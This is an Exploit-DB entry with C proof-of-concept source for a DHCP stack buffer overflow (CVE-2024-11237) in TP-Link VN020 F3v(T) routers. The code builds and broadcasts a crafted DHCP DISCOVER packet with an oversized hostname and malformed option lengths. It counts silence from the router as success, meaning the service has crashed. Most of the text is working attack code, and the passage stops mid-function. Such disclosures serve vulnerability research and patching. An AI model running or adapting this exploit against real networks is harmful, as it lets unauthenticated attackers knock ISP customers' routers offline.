Exploit-DB #52292
Description: TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow
Type: local
Platform: multiple
Date: 2025-05-13
Author: Mohamed Maatallah

Exploit:
/*
 * Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow
 * Date: 10/20/2024
 * Exploit Author: Mohamed Maatallah
 * Vendor Homepage: https://www.tp-link.com
 * Version: TT_V6.2.1021 (VN020-F3v(T))
 * Tested on: VN020-F3v(T) Router (Hardware Version 1.0)
 * CVE: CVE-2024-11237
 * Category: Remote

 * Technical Details:
 * -----------------
 * - Triggers multiple memory corruption vectors in DHCP parsing
 * - Primary vector: Stack overflow via oversized hostname (127 bytes)
 * - Secondary vector: Parser confusion via malformed length fields
 * - Tertiary vector: Vendor specific option parsing edge case
 *
 * Attack Surface:
 * --------------
 * - DHCP service running on port 67
 * - Processes broadcast DISCOVER packets
 * - No authentication required
 * - Affects all routers running VN020 F3v(t) specifically the ones
 *   supplied by Tunisie Telecom & Topnet
 *
 * Exploitation Method:
 * ------------------
 * 1. Sends crafted DHCP DISCOVER packet
 * 2. Overflows hostname buffer (64 -> 127 bytes)
 * 3. Corrupts length fields in DHCP options
 * 4. Success = No response (service crash)
 *
 * Build:
 * ------
 * Windows: cl poc.c /o tplink_dhcp.exe or use visual studio directly.
 *
 * Usage:
 * ------
 * tplink_dhcp.exe

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

// Standard DHCP ports - Server listens on 67, clients send from 68
#define DHCP_SERVER_PORT 67
#define DHCP_CLIENT_PORT 68
#define MAX_PACKET_SIZE 1024  // Maximum size for DHCP packet
#define MAX_ATTEMPTS 3       

// Forward declarations of functions
void create_dhcp_discover_packet(unsigned char* packet, int* packet_length);
void add_option(unsigned char* packet, int* offset, unsigned char option,
    unsigned char length, unsigned char* data);
void tp_link(unsigned char* packet, int* offset);
void print_packet_hex(unsigned char* packet, int length);
int wait_for_response(SOCKET sock, int timeout);

int main() {
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in dest;
    unsigned char packet[MAX_PACKET_SIZE];  // Buffer for DHCP packet
    int packet_length = 0;                  // Length of constructed packet
    int attempts = 0;                       // Counter for send attempts
    int success = 0;


    printf("[TP-Thumper] Initializing Winsock...\n");
    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        printf("[TP-Thumper] Winsock initialization failed. Error: %d\n",
            WSAGetLastError());
        return 1;
    }

    sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sock == INVALID_SOCKET) {
        printf("[TP-Thumper] Could not create socket. Error: %d\n",
            WSAGetLastError());
        WSACleanup();
        return 1;
    }

    // Set up broadcast address (255.255.255.255)
    dest.sin_family = AF_INET;
    dest.sin_port = htons(DHCP_SERVER_PORT);
    dest.sin_addr.s_addr = inet_addr("255.255.255.255");

    // Enable broadcast mode on socket
    BOOL broadcast = TRUE;
    if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*)&broadcast,
        sizeof(broadcast)) < 0) {
        printf("[TP-Thumper] Broadcast mode failed.\n");
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    srand((unsigned int)time(NULL));

    // Create the DHCP DISCOVER packet
    create_dhcp_discover_packet(packet, &packet_length);

    // Main attempt loop - tries to send packet MAX_ATTEMPTS times
    while (attempts < MAX_ATTEMPTS && !success) {
        printf("[TP-Thumper] Sending DHCP Discover packet (Attempt %d/%d)...\n",
            attempts + 1, MAX_ATTEMPTS);
        print_packet_hex(packet, packet_length);  //debug

        // Send the packet
        if (sendto(sock, (char*)packet, packet_length, 0, (struct sockaddr*)&dest,
            sizeof(dest)) < 0) {
            printf("[TP-Thumper] Packet send failed. Error: %d\n", WSAGetLastError());
        }
        else {
            printf("[TP-Thumper] Packet sent. Waiting for router response...\n");
            if (wait_for_response(sock, 10)) {
                printf(
                    "[TP-Thumper] Router responded! Exploit may not have succeeded.\n");
                success = 1;
            }
            else {
                printf("[TP-Thumper] No response received within timeout.\n");
            }
        }
        attempts++;
    }
    if (!success) {
        printf(
            "[TP-Thumper] Exploit succeeded: No router response after %d "
            "attempts.\n",
            MAX_ATTEMPTS);
    }
    else {
        printf("[TP-Thumper] Exploit failed: Router responded within timeout.\n");
    }

    // Cleanup
    closesocket(sock);
    WSACleanup();
    return 0;
}
/*
 * DHCP Message Format:
 * [0x00]: op      = 0x01        ; BOOTREQUEST
 * [0x01]: htype   = 0x01        ; Ethernet
 * [0x02]: hlen    = 0x06        ; MAC addr len
 * [0x03]: hops    = 0x00        ; No relay
 * [0x04-0x07]: xid             ; Random transaction ID
 * [0x08-0x0F]: secs + flags    ; Broadcast flags set
 * [0x10-0x1F]: ciaddr + yiaddr ; Empty
 * [0x20-0x27]: siaddr + giaddr ; Empty
 * [0x28-0x2D]: chaddr         ; Crafted MAC
 */

void create_dhcp_discover_packet(unsigned char* packet, int* packet_length) {
    memset(packet, 0, MAX_PACKET_SIZE);
    int offset = 0;

    // DHCP Header - Standard fields
    packet[offset++] = 0x01;  // BOOTREQUEST
    packet[offset++] = 0x01;  // Ethernet
    packet[offset++] = 0x06;  // MAC len
    packet[offset++] = 0x00;  // No hops

    // ; XID - rand() used for bypass of response filtering
    // ; mov eax, rand()
    // ; mov [packet + 4], eax
    unsigned int xid = (unsigned int)rand();
    *((unsigned int*)&packet[offset]) = htonl(xid);
    of